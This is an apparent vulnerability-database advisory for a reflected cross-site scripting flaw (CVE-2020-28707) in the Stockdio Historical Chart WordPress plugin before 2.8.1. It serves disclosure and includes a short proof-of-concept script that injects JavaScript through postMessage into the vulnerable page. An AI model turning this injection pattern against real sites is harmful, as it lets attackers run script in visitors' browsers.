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WordPress Plugin Vulnerabilities

Stockdio Historical Chart < 2.8.1 - Reflected Cross-Site Scripting (XSS)

Description

The plugin was affected by a Reflected Cross-Site Scripting issue via the postMessage() event.

Proof of Concept

Use the following code on another website

<script>
        var popup = window.open('https://VULNERABLE.PAGE/');
        var msg = {};
        msg.method = "alert(document.domain)";
        function post(){popup.postMessage(msg,'*')}
        setInterval(post,1000);
</script> 

Affects Plugins

stockdio-historical-chart
Fixed in version 2.8.1

References

CVE
CVE-2020-28707
URL
https://jondow.eu/cve-2020-28707-xss-in-stockdio-historical-chart-plugin-for-wordpress-before-version-281/

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

jondow

Verified

No

WPVDB ID
ee036303-0676-481a-98a4-76852fea6f62

Timeline

Publicly Published

2021-01-20 (about 2 years ago)

Added

2021-01-20 (about 2 years ago)

Last Updated

2021-01-21 (about 2 years ago)

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